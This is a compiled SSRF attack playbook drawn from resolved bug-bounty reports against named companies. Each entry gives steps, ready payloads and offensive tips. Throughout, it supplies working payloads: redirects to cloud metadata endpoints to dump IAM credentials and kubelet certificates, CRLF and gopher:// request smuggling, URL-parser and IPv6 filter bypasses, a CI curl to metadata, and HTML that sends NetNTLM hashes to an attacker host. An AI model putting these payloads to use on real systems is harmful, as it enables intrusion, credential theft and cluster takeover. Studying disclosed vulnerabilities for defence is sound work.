- Create a StorageClass with resturl pointing at your server, using # to trim the client-appended /volumes path
- Create a matching Secret + PersistentVolumeClaim so kube-controller-manager fires the request
- Convert the initial POST to GET by responding 302 with Location: http://169.254.169.254 (Go net/http follows and downgrades)
- Read leaked JSON via kubectl describe pvc / kubectl get event; on old Go(<1.12) clusters use CRLF smuggling in resturl to craft full requests and read responses from controller-manager logs (klog)
resturl: "http://ATTACKER:6666/#"
# redirect.php: header('Location: http://169.254.169.254')
# CRLF smuggling (Go<1.12):
http://172.31.X.1:10255/healthz? HTTP/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET /pods? HTTP/1.1\r\nHost: 172.31.X.1:10255\r\n\r\n
Insight — In managed/PaaS environments, any resource whose spec contains a URL you control (StorageClass, webhook, backup target) can become SSRF executed inside the provider's trusted network. The 302 POST->GET trick and error-message/log reflection are the standard ways to upgrade half-blind to readable.
Real-world example
CVE-2021-40438: Apache mod_proxy SSRF via ?unix: padding
◆ High
Specimen #1370731 · acronis · awarded · 19 votes · resolved
Program acronisSurface web
Root cause
Vulnerable Apache httpd mod_proxy parses a crafted ?unix:...|http://host/ query and forwards the request to an attacker-chosen backend, yielding full SSRF against a reverse proxy.
Method
- Detect vulnerable Apache mod_proxy behind the target
- Send request with long ?unix: padding followed by |http://YOUR_HOST/
- Observe backend request arrive at your host
GET /?unix:AAAAAAAA...(hundreds of A)...|http://YOUR_HOST/ HTTP/1.1
Host: target
Insight — Fingerprint reverse proxies; unpatched Apache mod_proxy (CVE-2021-40438) gives SSRF with a single crafted query string. The 'A' padding must exceed the socket-path buffer length.
Real-world example
Image proxy image_host parameter SSRF with response readout
◆ High
Specimen #358119 · duckduckgo · none · 16 votes · resolved
Program duckduckgoSurface web
Root cause
An image-proxy endpoint fetches a user-supplied image_host URL server-side with only a scheme check, so internal HTTP(S) services are reachable and their bodies are returned (visible via view-source).
Method
- Find image proxy: /iur/?f=1&image_host=URL
- Point at internal services http://127.0.0.1:PORT/
- Read the proxied body via view-source: to see internal app content
https://proxy.duckduckgo.com/iur/?f=1&image_host=https://127.0.0.1:18091/ui/
https://proxy.duckduckgo.com/iur/?f=1&image_host=http://127.0.0.1:9998/
Insight — Image/avatar/logo proxy params are prime SSRF sinks; even a 'must start with http(s)' restriction still allows full internal enumeration. Check view-source since the proxied HTML may not render.
Real-world example
Moodle repository URL downloader SSRF with reflected internal response
◆ High
Specimen #1691501 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface web
Root cause
Moodle's file-picker 'URL downloader' repository (repository_ajax.php, file= param) fetches an arbitrary URL server-side and reflects the internal response (status line/body) inside its JSON error, making a semi-blind SSRF readable.
Method
- Profile picture / file manager -> 'URL downloader' repository
- Submit http://127.0.0.1/test.png (or :25 for SMTP banner)
- Read the reflected upstream response in the JSON 'error' field
POST /repository/repository_ajax.php?action=signin HTTP/1.1
file=http%3A%2F%2F127.0.0.1%2Ftest.png&repo_id=5&...&sesskey=...&client_id=...&itemid=...&ctx_id=...
Insight — Recognize the Moodle URL-downloader (repo_id points at the URL repo) as a built-in SSRF; the JSON error echoes the upstream HTTP response, so it leaks banners (nginx/Postfix on :25) and status codes.
Real-world example
URL-config param -> AWS IMDS full read (with '?' path-append neutralizer)
◆ High
Specimen #1628102 · deptofdefense · awarded · 11 votes · resolved
Program deptofdefenseSurface webChain SSRF -> AWS IMDSv1 -> dump IAM credentials -> interTag cloud-aws
Root cause
A user-supplied outbound endpoint (an xAPI/LRS 'statements' URL saved in a config) is fetched server-side with no host allowlist, letting the request target 169.254.169.254; the full response is later downloadable as a log.
Method
- Create a config feature that stores a user-controlled base URL used for outbound HTTP (here: LRS URL)
- Set the URL to the cloud metadata endpoint and append '?' so the app's fixed path suffix ('/statements') becomes a harmless query string
- Trigger the outbound request (Test button)
- Retrieve the captured upstream response via the downloadable log (Download log > Plain text, Include HTTP)
LRS URL: http://169.254.169.254/latest/meta-data?
# app appends /statements -> http://169.254.169.254/latest/meta-data?/statements (path becomes query, IMDS still answers)
Insight — When an app concatenates a fixed path onto your URL, terminate your URL with '?' (or '#') so the appended segment lands in the query/fragment. Any config that stores an outbound base URL (LRS, webhook, callback, integration endpoint) is an IMDS full-read candidate when its response is later surfaced/logged.
Real-world example
DNS rebinding on Node --inspect via invalid IP that forces browser DNS resolution
◆ High
Specimen #1574078 · nodejs · none · 9 votes · resolved
Program nodejsSurface otherChain DNS rebinding -> access loopback inspector /json -> deTag supply-chain
Root cause
The inspector's IsAllowedHost/IsIPAddress check accepts syntactically-invalid IPv4 literals like 10.0.2.555. Because the browser can't parse it as an IP either, it does a DNS lookup - re-opening the classic DNS-rebinding path to the local debugger and its RCE-capable WebSocket.
Method
- Victim runs node --inspect (debugger bound to loopback)
- Lure victim to attacker page that redirects to http://10.0.2.555:9229 served by a short-TTL malicious DNS
- Rebind 10.0.2.555 to 127.0.0.1; fetch /json to read webSocketDebuggerUrl (WebSocket not bound by SOP)
- Connect to the debugger WebSocket -> execute code with the Node process's privileges
<?php header("Location: http://10.0.2.555:9229/json"); // invalid IPv4 forces DNS lookup -> rebinding
Insight — Host-allowlist checks that only guard 'valid IP or localhost' are bypassable with malformed-but-DNS-resolvable hostnames (invalid octets, localhost6, decimal/hex forms). When testing SSRF/rebinding guards, feed inputs the validator rejects as IPs but the resolver still looks up.
Real-world example
XML-RPC pingback.ping SSRF with faultCode port-scan oracle
◆ High
Specimen #406387 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface webChain SSRF -> internal port scan / OOBTag cloud-aws
Root cause
A pingback.ping XML-RPC handler fetches the attacker-supplied source URL server-side; distinct fault codes for reachable-vs-unreachable targets create a blind port/host-scan oracle.
Method
- POST an XML-RPC pingback.ping call with the first param = target URL, second = a valid local page
- faultCode 17 ('Could not find target URI in source') = host/port reachable
- faultCode 16 ('Error accessing source URI') = unreachable
- Sweep host:port to map internal services / trigger OOB DNS
POST /xmlrpc/pingback/ HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value>http://169.254.169.254:80/</value></param>
<param><value>https://TARGET/web/guest/home/</value></param>
</params>
</methodCall>
Insight — pingback.ping (Liferay/WordPress-style xmlrpc) is a reliable SSRF sink; use the returned faultCode as an open/closed oracle even when the body is blind. Any 'xmlrpc enabled' finding should be tested for pingback SSRF, not just reported as a banner.
Real-world example
External service interaction via X-Forwarded-Host / X-Host injection
◆ High
Specimen #997988 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain host-header injection -> server-initiated outbound reques
Root cause
The app uses attacker-controlled Host-family headers when constructing outbound links/callbacks (e.g. registration confirmation), so injecting an external host coerces the server into DNS/HTTP requests to attacker infrastructure.
Method
- Trigger a flow that generates a server-side link or callback (registration, password reset, email)
- Inject attacker host into X-Forwarded-Host / X-Host / X-Forwarded-Server
- Observe out-of-band DNS + HTTP hits at your Collaborator/VPS confirming server-initiated requests
POST /accounts/register/ HTTP/1.1
Host: TARGET
X-Forwarded-Host: COLLAB
X-Host: COLLAB
X-Forwarded-Server: COLLAB
<registration body>
Insight — On any state-changing/email-sending endpoint, fuzz X-Forwarded-Host/X-Host/X-Forwarded-Server with an OOB canary. Server-side link generation from these headers gives host-header injection, poisoned password-reset links, and a pivot toward SSRF.
Real-world example
SSRF via headless-screenshot service to GCP metadata -> Kubernetes RCE
◆ Medium
Specimen #341876 · shopify · awarded · 577 votes · resolved
Program shopifySurface webChain HTML-render SSRF -> GCP metadata token/kube-env -> kubTag cloud-gcpTag account-takeover
Root cause
A store-preview screenshotting service rendered attacker-controlled HTML in a headless browser on a GCP instance; JS could redirect it to the internal metadata endpoint and exfiltrate the response as an image.
Method
- Create a store and edit password.liquid to inject a <script> that navigates to the GCP metadata URL
- Trigger the Exchange 'create a listing' screenshot; download the rendered PNG (convert to JPEG if it renders black)
- Use the v1beta1 metadata path which needs no Metadata-Flavor header; append alt=json to force JSON so the renderer captures text
- Recursively pull instance attributes incl. kube-env to get the kubelet client cert + private key
- Use kubectl with the leaked kubelet certs to list/create pods, describe pods to read a service-account token, then exec into containers as root
<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
</script>
<!-- richer leaks -->
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
Insight — Any feature that renders user HTML server-side (screenshotter/PDF/thumbnailer) is an SSRF gadget. On GCP, /computeMetadata/v1beta1/ historically returned data WITHOUT the Metadata-Flavor:Google header, and alt=json forces text-capturable JSON. kube-env in instance attributes hands you kubelet certs -> cluster RCE.
Real-world example
Blind SSRF via GraphQL query argument (source)
◆ Medium
Specimen #1864188 · exness · 3000 · 258 votes · resolved
Program exnessSurface graphqlChain GraphQL arg SSRF -> internal port/host enumeration (blindTag graphql
Root cause
A GraphQL query (allTicks) accepted a source argument used to build server-side GET requests, accepting a full arbitrary URL.
Method
- Introspect/observe the GraphQL query allTicks and its source argument
- Set source to a full attacker URL (Burp Collaborator)
- Observe out-of-band DNS/HTTP; iterate to internal hosts/ports (blind, no response body)
query { allTicks(source: "http://COLLAB.oastify.com/") { ... } }
Insight — GraphQL arguments are SSRF sinks too - any field whose value becomes a server-side fetch URL. Test every string arg with a collaborator URL, then pivot to internal IPs for blind port scanning.
Real-world example
Webhook anti-SSRF bypass via IPv6-mapped IPv4 address
◆ Medium
Specimen #2301565 · security · 2500 · 133 votes · resolved
Program securitySurface webChain webhook -> redirect -> IPv6-mapped metadata -> EC2 Tag cloud-awsTag webhook
Root cause
Webhook SSRF filters blocked IPv4 metadata IPs but did not normalize IPv6-mapped IPv4 (::ffff:a9fe:a9fe), so a redirect to that form reached EC2 metadata (169.254.169.254).
Method
- Host a PHP page that 302-redirects to the IPv6-mapped metadata address
- Create a webhook pointing at that page and hit 'Test request'
- Read the webhook log; the response header server: EC2ws confirms metadata was reached
<?php header("Location: http://[::ffff:a9fe:a9fe]"); ?>
# a9fe:a9fe == 169.254.169.254
Insight — SSRF allowlist/denylist checks that only reason about dotted-quad IPv4 miss equivalent encodings: IPv6-mapped IPv4 [::ffff:169.254.169.254], decimal/octal/hex IPs, and 0x-forms. Always fuzz IP representations, and deliver via redirect if the URL is validated up front.
Real-world example
oEmbed SSRF via URL-parser confusion (userinfo/@/backslash)
◆ Medium
Specimen #643622 · semrush · awarded · 124 votes · resolved
Program semrushSurface webChain allowlist bypass SSRF via URL confusion -> internal probe
Root cause
An oEmbed video endpoint whitelisted trusted domains (youtube.com) but the URL parser and the HTTP client disagreed on the host when using userinfo, @, and backslash tricks, letting the real host be attacker/internal while youtube.com appeared present.
Method
- Confirm plain internal URLs (127.0.0.1) are rejected as 'Not valid url'
- Craft a URL where the fetch client resolves your host but the validator sees youtube.com (multiple @ and \ and userinfo)
- Observe the server request to your host / internal target
https://1:@my.site:\@@@@w.youtube.com/@https://www.youtube.com/
# internal variant:
https://1:@127.0.0.1:\@@@@w.youtube.com/@https://www.youtube.com/
Insight — Host-allowlist SSRF filters break on URL parser differentials. Try userinfo (user:pass@), multiple @, backslashes, and embedding the allowed domain after the real host. If validator and requester use different URL libraries, the authority they pick differs.
Real-world example
Blind SSRF open-port oracle via reflected Python-requests error
◆ Medium
Specimen #1832494 · exness · awarded · 118 votes · resolved
Program exnessSurface apiChain blind SSRF -> error-based internal port scan
Root cause
A partner-integration probe endpoint fetched a user-supplied url; closed ports returned a generic validation error while open ports returned a distinct Python requests error, giving a differential internal port scanner.
Method
- POST {"data":{"url":"https://attacker"}} to the probe endpoint to confirm OOB SSRF
- POST url=https://127.0.0.1:<port> and compare responses: generic 'Invalid input' (closed) vs Python requests exception (open)
- Enumerate internal hosts/ports via the error differential
POST /api/partner_integrations/template/probe/
{"data":{"url":"https://127.0.0.1:80"}}
Insight — Even fully blind SSRF becomes a port scanner when the app leaks library exceptions. Diff the error message/timing for open vs closed ports. Fix here was to stop returning Python errors for blacklisted/failed URLs.
Real-world example
Client-side SSRF via HTML auto-render in Burp leaks NetNTLM hash
◆ Medium
Specimen #1054382 · portswigger · USD 1000 · 117 votes · resolved
Program portswiggerSurface desktopChain HTML injection -> forced SMB auth -> NetNTLM hash capt
Root cause
Burp's Swing UI renders HTML from request parameters/bodies when displaying/intercepting/repeating a request; embedded <img>/<link> tags trigger unsolicited fetches from the auditor's host, and a file:// URL forces an SMB negotiation that leaks the auditor's IP and Windows NetNTLM hash (CVE-2021-29416).
Method
- Host a page that echoes attacker HTML into a GET param or POST body
- When the auditor proxies/intercepts/repeats it, Burp auto-fetches the tag's URL
- Use http:// to leak real public IP (ignores upstream/SOCKS proxy); use file:// to force SMB and capture NetNTLM via Responder
GET /x?=<html><img src='http://COLLAB/leak'> HTTP/1.1
# NetNTLM:
?=<html><link rel='stylesheet' href='file://ATTACKER_HOST/leak'>
Insight — Any tool/app that renders untrusted HTML (mail clients, PDF/preview generators, admin dashboards, security tools) is a client-side SSRF sink; file:// / SMB URLs turn it into a NetNTLM-hash and IP leak (and NTLM relay to RCE).
Real-world example
X-Forwarded-Host honored over Host -> blind SSRF (with @ bypass)
◆ Medium
Specimen #727330 · slack · awarded · 95 votes · resolved
Program slackSurface webChain XFH SSRF -> intranet port scan / metadataTag cloud-aws
Root cause
files.slack.com validated the Host header but used X-Forwarded-Host to build the request target; host validation was further bypassed by appending @attacker, letting the backend send requests to arbitrary hosts.
Method
- Intercept a files.slack.com original-file request
- Add X-Forwarded-Host: xxx (500 error confirms it is read)
- Set X-Forwarded-Host: files.slack.com@YOUR_DOMAIN -> 302 redirect Location YOUR_DOMAIN/...
- Point YOUR_DOMAIN at 169.254.169.254:PORT and time responses to port-scan the intranet
GET /files-pri/TNXC4JD70-FPSL307RB/test.png HTTP/1.1
Host: files.slack.com
X-Forwarded-Host: files.slack.com@169.254.169.254:80
Insight — When Host is validated, test X-Forwarded-Host / X-Forwarded-For / Forwarded - backends often trust them for routing. userinfo (allowed@attacker) defeats prefix/equality host checks. Backend origin (amazonaws.com vs cloudfront) confirms you hit the internal tier.
Real-world example
Reverse-proxy misroute via Host header leaks X-Shopify-Access-Token
◆ Medium
Specimen #429617 · shopify · 1000 · 88 votes · resolved
Program shopifySurface apiChain Host-header SSRF -> reverse-proxy header (access token) tTag graphql
Root cause
/admin/api/graphql built its upstream from ${HTTP_Host}+/admin/api/graphql with no host validation, so a forged Host proxied the request to an attacker server together with injected reverse-proxy headers including X-Shopify-Access-Token.
Method
- POST /admin/api/graphql with Host set to your external server
- Capture the incoming request on your server
- Read the reverse-proxy-injected headers (X-Shopify-Access-Token) and the proxied response
POST /admin/api/graphql HTTP/1.1
Host: attacker.example.com
Insight — Reverse proxies that build upstream URLs from the Host header both create SSRF and leak internal auth headers the proxy injects (access tokens, service creds). Send Host->your box and inspect what the infra adds.
Real-world example
SSRF via Slack slash-command redirect to IPv6 unspecified [::]
◆ Medium
Specimen #381129 · slack · awarded · 83 votes · resolved
Program slackSurface webChain slash-command redirect SSRF -> localhost port/banner scan
Root cause
Slash-command outgoing requests could be redirected by the attacker-controlled endpoint to internal targets; using http://[::]:PORT (IPv6 unspecified) bypassed IPv4-based SSRF protections and enabled port/version scanning.
Method
- Create a Slack app with a slash command pointing at your domain
- Serve index.php that redirects to the internal target using the [::] IPv6 form
- Invoke the slash command; read the fetched service banners (SSH, SMTP)
<?php header("location: http://[::]:22/"); ?>
Insight — http://[::] and http://0.0.0.0 often resolve to localhost while evading 127.0.0.1/localhost denylists. Combine with redirect delivery from an allowed callback URL. Banner grabbing works even for non-HTTP ports.
Real-world example
Blind SSRF via SVG fill=url() with fragment
◆ Medium
Specimen #265050 · rockstargames · 1500 · 81 votes · resolved
Program rockstargamesSurface webChain SVG fill url() SSRF -> internal port probeTag file-upload
Root cause
The emblem editor's SVG renderer allowed absolute url() values in the fill attribute; publishing an emblem made the server fetch that URL (a fragment was required to trigger it).
Method
- Craft an SVG <path> with fill="url(http://COLLAB#test)"
- Publish the emblem; the server fetches the URL from its network
- If the URL returns a valid SVG, its fill data is used, enabling further exfil primitives
<path fill="url(https://COLLAB/15rxmgv1#test)" stroke="#a1a1a1" ... />
Insight — Server-side SVG rendering has multiple SSRF sinks beyond xlink:href: CSS fill/stroke url() references also fetch. A URL fragment (#x) was needed to trigger the request - test with and without fragments.
Real-world example
CI SSRF: metadata protection only applied on first run
◆ Medium
Specimen #369451 · gitlab · awarded · 72 votes · resolved
Program gitlabSurface cloudChain CI job re-run -> cloud metadata -> service token ->Tag cloud-awsTag cloud-gcp
Root cause
GitLab CI blocked access to the cloud metadata endpoint on the first pipeline run but not on subsequent re-runs (cached-build path), exposing DigitalOcean/GCP metadata to the CI job.
Method
- Add a .gitlab-ci.yml job that curls http://169.254.169.254/metadata/v1/
- Run the pipeline once (blocked as intended)
- Re-run the build; the second run reaches metadata and returns keys/region/user-data
# .gitlab-ci.yml script step:
curl -L http://169.254.169.254/metadata/v1/
# also http://169.254.169.254/metadata/v1.json
Insight — CI/CD runners are SSRF-adjacent: attacker-controlled build scripts run inside cloud infra. Protections can be state-dependent (first vs cached run, warm vs cold container) - always retry/re-run against metadata. Leads to service tokens and internal buckets.
Real-world example
Blind SSRF via chat 'image-check' URL param
◆ Medium
Specimen #1875484 · 8x8-bounty · awarded · 64 votes · resolved
Program 8x8-bountySurface apiTag webhook
Root cause
A chat/messaging image-preview endpoint fetches an attacker-supplied URL server-side with no host allowlist, enabling internal port scanning.
Method
- Find messaging/chat image or link-preview feature
- POST a JSON body with url pointing at internal host:port
- Observe timing/response differences to enumerate open internal ports
POST /api/v2/chats/image-check HTTP/1.1
Host: connect.8x8.com
Content-Type: application/json
{"url":"http://127.0.0.1:/?a=a.png"}
Insight — Any 'image-check'/'unfurl'/'link-preview' JSON param that takes a full URL is a blind-SSRF sink; probe 127.0.0.1 and internal ranges.
Real-world example
Link-local addresses bypass private-network guard -> IMDS
◆ Medium
Specimen #3445890 · basecamp · none · 61 votes · resolved
Program basecampSurface webChain SSRF -> cloud IMDS credential theftTag cloud-aws
Root cause
An OpenGraph/link-unfurl fetcher's guard only blocks RFC1918/loopback/0.0.0.0 and omits link-local (169.254.0.0/16, fe80::/10), so IPAddr#private? returns false for 169.254.169.254 and the guard permits IMDS.
Method
- Authenticate and reach the /unfurl_link (or link-preview) endpoint
- Submit url=http://169.254.169.254/latest/meta-data/
- Guard checks private? but not link_local?, so the server fetches IMDS
curl -X POST https://TARGET/unfurl_link -H 'Cookie: session_token=...' -H 'X-CSRF-Token: TOKEN' -d 'url=http://169.254.169.254/latest/meta-data/'
Insight — When auditing SSRF guards, check that link-local ranges are blocked, not just private?/loopback; in Ruby ipaddr.private? != link_local?.
Real-world example
CodeIgniter route exposes all public controller methods -> gopher SSRF, blind port scan, LFI
◆ Medium
Specimen #895696 · gsa_bbp · USD 300 · 61 votes · resolved
Program gsa_bbpSurface webChain route abuse -> blind SSRF -> internal port scan / gophTag cloud-aws
Root cause
CodeIgniter default routing maps URLs to Class/Method/Param1/Param2, so every public controller method is callable directly; Campaign::json_status($status) fetches the $status URL server-side (full SSRF incl. gopher), and Docs::index gives path-traversal LFI.
Method
- Read the app's public controllers (or guess Class/Method) and call them as /Class/Method/param URLs
- Point a URL-fetching method at internal targets: gopher://127.0.0.1:PORT for blind port scan (timeout vs fast response distinguishes open/closed)
- Use gopher to craft raw SMTP/Redis traffic to internal services
- Abuse Docs::index($page) traversal ..%2fREADME to read files (bounded by hardcoded .md)
# SSRF / port scan
https://TARGET/dashboard/Campaign/json_status/gopher%3A%2F%2F127.0.0.1%3A25
# gopher SMTP via attacker 302 (o.php Location: gopher://...)
# LFI (extension-bounded)
https://TARGET/dashboard/Docs/index/..%2fREADME
Insight — On MVC frameworks with convention routing (CodeIgniter/Laravel/Rails), enumerate controllers from source and invoke non-UI public methods via /Class/method/param. URL-consuming methods become SSRF sinks; measure response time to blind-scan internal ports and use gopher:// to speak internal protocols.
Real-world example
Keycloak OIDC request_uri SSRF (CVE-2020-10770)
◆ Medium
Specimen #1379080 · mtn_group · none · 59 votes · resolved
Program mtn_groupSurface webTag oauth
Root cause
Keycloak <13.0.0 fetches the OIDC request_uri parameter server-side without validation, allowing arbitrary outbound requests.
Method
- Locate a Keycloak auth endpoint (/auth/realms/*/protocol/openid-connect/auth)
- Supply request_uri= pointing at collaborator/internal host
- Observe DNS/HTTP interaction
https://TARGET:8443/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://COLLAB
Insight — Fingerprint Keycloak and test request_uri on the OIDC auth endpoint; known-CVE SSRF in identity infra is common and version-gated.
Real-world example
URL-parser vs HTTP-client inconsistency (CVE-2017-7189)
◆ Medium
Specimen #305974 · ibb · USD 1000 · 58 votes · resolved
Program ibbSurface other
Root cause
parse_url() and the actual HTTP fetcher (cURL wrapper) parse the same URL differently, so a URL a validator judges as one host is fetched as another - a parser-differential SSRF primitive.
Method
- Find code that validates a host with one parser then fetches with another
- Craft a URL the validator and fetcher disagree on
- Point the fetched host at an internal target
# validator sees one host, curl connects to another via inconsistent parsing of userinfo/@/host
http://expected-host@internal-host/ (behavior differs between parse_url and libcurl)
Insight — Any allowlist that parses a URL with a different library than the one performing the request is bypassable; test parser-differential payloads.
Real-world example
Image resizer /form endpoint GET SSRF (port scan + internal image read)
◆ Medium
Specimen #707014 · line · awarded · 54 votes · resolved
Program lineSurface api
Root cause
An image-resizer service fetches an arbitrary URL supplied to its /form endpoint, enabling HTTP-based internal port scanning, service-banner grabbing, and reading images hosted on the internal network.
Method
- Find an image resize/proxy service that takes a source URL
- Point it at internal host:port to grab banners / scan ports
- Point it at known internal image URLs to exfiltrate them
GET /form?...url=http://INTERNAL_HOST:PORT/ (banner/version leaks e.g. SSH)
GET /form?...url=http://INTERNAL_HOST/path/secret.png
Insight — Image-resizer/thumbnail services are classic HTTP-limited SSRF; even without gopher you can scan ports, grab banners, and read internal images.
Real-world example
Blind SSRF port scan via status/body differential
◆ Medium
Specimen #1300585 · elastic · awarded · 54 votes · resolved
Program elasticSurface api
Root cause
An HTTP-status-check API fetches a user-supplied url and returns a distinguishable status label (WARNING timeout vs FAILURE/SUCCESS with body) per target, so open/closed internal ports are enumerable and returned content is partially reflected.
Method
- Find a status/health-check endpoint taking a url param
- Send url=http://target:PORT for various internal ports
- Distinguish open (FAILURE/SUCCESS+body) from closed (WARNING 'timeout/host unreachable')
GET /api/v1/http/default/raw?url=http://COLLAB:22 -> {"status":"WARNING","message":"timeout/host unreachable"} (closed)
GET /api/v1/http/default/raw?url=http://COLLAB:80 -> {"status":"FAILURE","value":{"values":["<html>...</html>"]}} (open, body reflected)
Insight — Health/status-check endpoints leak an open/closed oracle even when 'blind'; the returned status label is your side channel, and some reflect body content.
Real-world example
SSRF via libcurl protocol wrappers + gopher SMTP smuggling
◆ Medium
Specimen #115748 · imgur · awarded · 52 votes · resolved
Program imgurSurface webChain SSRF -> internal service fingerprint (libssh2/libcurl ver
Root cause
A URL-fetch feature (video->gif) passes a user URL to libcurl without restricting the protocol, so non-HTTP schemes (ftp, sftp, dict, gopher, tftp, imap, smtp...) are honored, turning it into a full SSRF that can port-scan, fingerprint internal services, and smuggle arbitrary TCP/line-protocol payloads.
Method
- Submit url=sftp://COLLAB:PORT/ etc. to leak server-side libcurl/libssh2 versions via the connection banner
- To send arbitrary line protocols despite newline filtering, host a page that 302-redirects to a gopher:// URL (libcurl follows redirects, bypassing the input newline filter)
- Encode SMTP/Redis commands into the gopher payload with %0A separators to send mail or hit internal services
# fingerprint
https://imgur.com/vidgif/url?url=sftp://COLLAB:11111/
# gopher SMTP smuggling via redirect bypass
<?php header('Location: gopher://test.smtp.org:25/_'.implode('%0A',[
'HELO test.org','MAIL FROM: <a@a.com>','RCPT TO: <b@test.smtp.org>','DATA','Test mail','.'])); ?>
# then: https://imgur.com/vidgif/url?url=http://EVIL/gopher.php?rand=RAND
Insight — When a server fetches a user URL, always test alternate schemes (gopher/dict/ftp/sftp/tftp). If the input filters newlines, chain an HTTP 302 redirect to a gopher:// target - the redirect follow re-parses the URL and bypasses input-layer filters, giving arbitrary TCP line-protocol injection (SMTP spam, Redis, memcached).
Real-world example
SSRF filter bypass via IPv6 [::] + open redirect
◆ Medium
Specimen #386292 · slack · awarded · 51 votes · resolved
Program slackSurface apiTag webhook
Root cause
Slack's Event-Subscriptions URL verification blocked obvious internal targets, but the filter was bypassed by pointing at an attacker page that 302-redirects to IPv6 [::] (unspecified/loopback-equivalent) with an internal port.
Method
- Register a webhook/subscription URL the server verifies by fetching it
- Host a redirector that 302s to http://[::]:PORT/
- Server follows redirect to the loopback-equivalent and reflects banner/body
# attacker x.php:
<?php header("Location: ".$_GET['u']); ?>
# verification target:
http://attacker.site/x.php?u=http://[::]:22/ -> reflects SSH-2.0-OpenSSH banner
Insight — Bypass host filters by (a) redirecting from an allowed host and (b) using IPv6 [::]/[::1]/[0:0:0:0:0:ffff:127.0.0.1] which many blocklists miss.
Real-world example
Kubernetes aggregated-API 30X redirect SSRF leaks bearer tokens (CVE-2022-3172)
◆ Medium
Specimen #1544133 · kubernetes · USD 1000 · 50 votes · resolved
Program kubernetesSurface apiChain hijack aggregated APIserver -> 30X redirect -> bearer-
Root cause
The kube-apiserver aggregation layer follows 30X redirects returned by an aggregated API server (e.g. metrics-server); an attacker who hijacks such a backend can redirect managed-component clients to internal endpoints, and the clients forward their Authorization: Bearer tokens.
Method
- Hijack/impersonate an aggregated API server (same label selector or modified image) in kube-system
- Return HTTP 30X redirect to an attacker/internal endpoint
- Managed components follow the redirect and leak their bearer tokens
# aggregated API server responds:
HTTP/1.1 302 Found
Location: http://ATTACKER/
# clients (kube-controller-manager, addons) resend: Authorization: Bearer <token>
Insight — Redirect-following in a trusted aggregation/proxy layer is SSRF that also leaks forwarded credentials; audit whether internal HTTP clients follow cross-origin redirects while carrying auth headers.
Real-world example
Unauth WordPress admin-ajax blind SSRF via checkout field
◆ Medium
Specimen #1086206 · acronis · awarded · 50 votes · resolved
Program acronisSurface web
Root cause
A WordPress checkout AJAX handler (admin-ajax.php) fetches attacker-controlled address/company field values as URLs server-side without auth, yielding unauthenticated blind SSRF.
Method
- Find admin-ajax.php action tied to a cart/checkout plugin
- Place a collaborator URL in the address (or company) POST field
- Observe DNS/HTTP callback confirming SSRF
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
...&address=http://COLLAB/ssrf&company=...&addItem=undefined
Insight — WordPress admin-ajax actions frequently fetch arbitrary form fields unauthenticated; fuzz address/url-like params with a collaborator payload.
Real-world example
Node.js permission-model bypass via Unix Domain Sockets (CVE-2026-21636)
◆ Medium
Specimen #3465156 · nodejs · none · 50 votes · resolved
Program nodejsSurface other
Root cause
Node.js --permission model does not gate Unix Domain Socket connections under --allow-net, so attacker-controlled URLs or socketPath options reach arbitrary local sockets (net/tls/undici/fetch) despite network restrictions.
Method
- Target a Node app run with --permission but not --allow-net
- Supply a URL/socketPath that resolves to a local UDS
- Connect to privileged local services (SSRF-equivalent) bypassing the permission boundary
fetch('http://localhost/...', { unix: '/var/run/privileged.sock' })
// or net.connect({ socketPath: '/var/run/docker.sock' })
Insight — When a sandbox/permission model claims to block network, check whether UDS/socketPath is still reachable - a common gap that reaches docker.sock and local admin APIs.
Real-world example
Airflow 'Test Connection' feature SSRF (CVE-2023-37379)
◆ Medium
Specimen #2123113 · ibb · USD 2550 · 42 votes · resolved
Program ibbSurface webChain SSRF -> metadata / DoS
Root cause
Apache Airflow <2.7.0 lets an authenticated user with Connection edit rights use the 'test connection' feature to make the server connect to an arbitrary host (e.g. Slack API connection), returning the plain response (non-blind SSRF) and enabling metadata access / DoS.
Method
- Log in with Connection edit privileges
- Create/edit a Connection pointing host at an internal/metadata target
- Use 'Test Connection' and read the reflected response
# Airflow Connection host = internal/metadata endpoint; click Test Connection -> plain response returned
Insight — Admin 'test connection / test integration' buttons are non-blind SSRF sinks; enumerate every connection-type that performs an outbound request.
Real-world example
Ghost CMS oembed endpoint SSRF (CVE-2020-8134)
◆ Medium
Specimen #793704 · nodejs-ecosystem · none · 42 votes · resolved
Program nodejs-ecosystemSurface webTag cloud-gcp
Root cause
Ghost CMS's oembed 'Other...' embed feature fetches a user-supplied url server-side (/ghost/api/v3/admin/oembed/?url=), so a publisher-role user can make arbitrary GET requests to internal/metadata endpoints.
Method
- Authenticate as any publisher role (contributor+)
- Use the editor 'Other...' embed input, or call the oembed API directly
- Set url to an internal/metadata endpoint
GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed
Insight — oembed / 'embed from URL' endpoints in CMSes are reliable SSRF sinks; enumerate them in Ghost/WordPress/others and test cloud-metadata paths (incl. DigitalOcean /metadata/v1.json).
Real-world example
JSON-validator SSRF/XSPA via datajson_url + error-message oracle
◆ Medium
Specimen #272095 · gsa_bbp · USD 300 · 41 votes · resolved
Program gsa_bbpSurface web
Root cause
A data.json validator fetches an attacker-supplied datajson_url server-side; pointing it (via a redirector) at internal host:port yields distinct validation messages for open vs closed ports, giving an internal port-scan (XSPA) oracle.
Method
- Host a redirector that 302s to http://localhost:PORT
- Submit its URL to /dashboard/validate?datajson_url=...
- Distinguish open ('unable to determine valid JSON') from closed ('File not found / couldn't be downloaded')
# attacker index.php:
<? header("Location: http://localhost:25"); ?>
